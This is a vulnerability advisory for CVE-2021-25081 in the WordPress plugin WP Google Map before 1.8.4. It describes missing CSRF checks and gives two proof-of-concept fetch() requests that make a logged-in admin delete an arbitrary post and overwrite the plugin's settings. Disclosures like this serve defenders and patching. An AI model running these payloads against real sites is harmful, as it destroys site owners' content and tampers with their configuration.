WP Google Map < 1.8.4 – Arbitrary Post Deletion and Plugin's Settings Update via CSRF | CVE 2021-25081

Description

The plugin does not have CSRF checks in most of its AJAX actions, which could allow attackers to make logged in admins delete arbitrary posts and update the plugin's settings via a CSRF attack

Proof of Concept

Removing post:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=wpgmapembed_remove_wpgmap&post_id=1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Updating settings:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=wpgmapembed_save_setup_wizard&wgm_api_key=hohohoho&wgm_language=999&wgm_regional_area=aaaaa",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));